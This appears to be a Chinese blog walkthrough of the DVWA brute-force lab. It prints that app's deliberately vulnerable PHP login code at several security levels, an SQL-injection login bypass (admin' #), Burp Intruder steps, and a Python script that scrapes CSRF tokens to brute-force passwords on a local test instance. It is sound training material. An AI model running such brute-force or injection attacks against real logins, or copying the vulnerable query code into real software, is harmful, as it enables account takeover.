dvwa之Brute Force

dvwa的暴力破解

英文:1707词 | 中文:7641字

Posted by YY——阳阳 on November 17, 2020

Low级别

源码
if( isset( $_GET[ 'Login' ] ) ) {
    # 获取用户名和密码
    $user = $_GET[ 'username' ];
    $pass = $_GET[ 'password' ];
    $pass = md5( $pass );
 
    # 查询验证用户名和密码
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
 
    if( $result && mysql_num_rows( $result ) == 1 ) {
      # 输出头像和用户名
      $avatar = mysql_result( $result, 0, "avatar" );
      echo "<p>Welcome to the password protected area {$user}</p>";
    }
    else {
        登录失败
    }
    mysql_close();
}

方法一

分析:该段代码中存在Login、username、password等三个GET参数,且username、password参数的值会被带入直接到数据库中查询,当数据库中存在则返回Welcome to the password protected area {$user}.,否则返回Username and/or password incorrect.。

在这里使用burp进行暴力破解,首先使用burp抓包,右键发送到intruder模块,只选中password作为变量,设置password的爆破范围,点击“start attack”即可开始破解。

之后判断返回的状态码,或者length字段可以判断是否破解正确。

方法二

<?php 
 
if( isset( $_GET[ 'Login' ] ) ) { 
    // Get username 
    $user = $_GET[ 'username' ]; 
 
    // Get password 
    $pass = $_GET[ 'password' ]; 
    $pass = md5( $pass ); 
 
    // Check the database 
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; 
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
 
    if( $result && mysqli_num_rows( $result ) == 1 ) { 
        // Get users details 
        $row    = mysqli_fetch_assoc( $result ); 
        $avatar = $row["avatar"]; 
 
        // Login successful 
        echo "<p>Welcome to the password protected area {$user}</p>"; 
        echo "<img src=\"{$avatar}\" />"; 
    } 
    else { 
        // Login failed 
        echo "<pre><br />Username and/or password incorrect.</pre>"; 
    } 
 
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); 
} 
 
?>

代码审计可以发现,没有对username和password进行过滤,存在SQL注入漏洞:

$query = "SELECT * FROM `users` WHERE user = '$user' AND password ='$pass';";

比如在Username中输入admin’ #可以登录。

medium

源码
<?php 
 
if( isset( $_GET[ 'Login' ] ) ) { 
    // Sanitise username input 
    $user = $_GET[ 'username' ]; 
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 
 
    // Sanitise password input 
    $pass = $_GET[ 'password' ]; 
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 
    $pass = md5( $pass ); 
 
    // Check the database 
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; 
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
 
    if( $result && mysqli_num_rows( $result ) == 1 ) { 
        // Get users details 
        $row    = mysqli_fetch_assoc( $result ); 
        $avatar = $row["avatar"]; 
 
        // Login successful 
        echo "<p>Welcome to the password protected area {$user}</p>"; 
        echo "<img src=\"{$avatar}\" />"; 
    } 
    else { 
        // Login failed 
        sleep( 2 ); 
        echo "<pre><br />Username and/or password incorrect.</pre>"; 
    } 
 
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); 
} 
 
?>

mysqli_real_escape_string()会将转义特殊字符,一定程度上防止SQL注入。 sleep(2)降低了暴力破解速度。 我们根据low级别,使用burp的暴力破解,一样可以破解密码。

high

<?php 
 
if( isset( $_GET[ 'Login' ] ) ) { 
    // Check Anti-CSRF token 
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 
 
    // Sanitise username input 
    $user = $_GET[ 'username' ]; 
    $user = stripslashes( $user ); 
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 
 
    // Sanitise password input 
    $pass = $_GET[ 'password' ]; 
    $pass = stripslashes( $pass ); 
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 
    $pass = md5( $pass ); 
 
    // Check database 
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; 
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
 
    if( $result && mysqli_num_rows( $result ) == 1 ) { 
        // Get users details 
        $row    = mysqli_fetch_assoc( $result ); 
        $avatar = $row["avatar"]; 
 
        // Login successful 
        echo "<p>Welcome to the password protected area {$user}</p>"; 
        echo "<img src=\"{$avatar}\" />"; 
    } 
    else { 
        // Login failed 
        sleep( rand( 0, 3 ) ); 
        echo "<pre><br />Username and/or password incorrect.</pre>"; 
    } 
 
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); 
} 
 
// Generate Anti-CSRF token 
generateSessionToken(); 
 
?>

加入了user_token,每次提交需要将username、password、Login和user_token四个参数一起提交到后台,所以不用burp进行爆破了,因为每次提交的token都不一样。 stripslashes(string): 去除掉string字符的反斜杠\ mysqli_real_escape_string(string,connection) :函数会对字符串string中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义。

我用python脚本进行爆破

from bs4 import BeautifulSoup
import requests
 
header={'Host':'127.0.0.1',
        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
        'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'Accept-Language':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
        'Referer':'http://127.0.0.1/vulnerabilities/brute/',
        'cookie':'PHPSESSID=8p4kb7jc1df431lo6qe249quv2; security=high',
        'Connection':'close',
        'Upgrade-Insecure-Requests':'1'
        }
requrl="http://127.0.0.1/vulnerabilities/brute/"
 
def get_token(requrl,header):
    response=requests.get(url=requrl,headers=header)
    print (response.status_code,len(response.content))
    soup=BeautifulSoup(response.text,"html.parser")
    input=soup.form.select("input[type='hidden']")   #返回的是一个list列表
    user_token=input[0]['value']                   #获取用户的token
    return user_token
 
user_token=get_token(requrl,header)
i=0
for line in open("E:\Password\mima.txt"):
    requrl="http://127.0.0.1/vulnerabilities/brute/?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token
    i=i+1
    print (i , 'admin' ,line.strip(),end="  ")
    user_token=get_token(requrl,header)
    if(i==20):
        break

回显发现,当密码是password时,返回的长度是5300,其余的返回长度都是5262,可猜想密码 password 是正确的密码。

impossible

还未做出。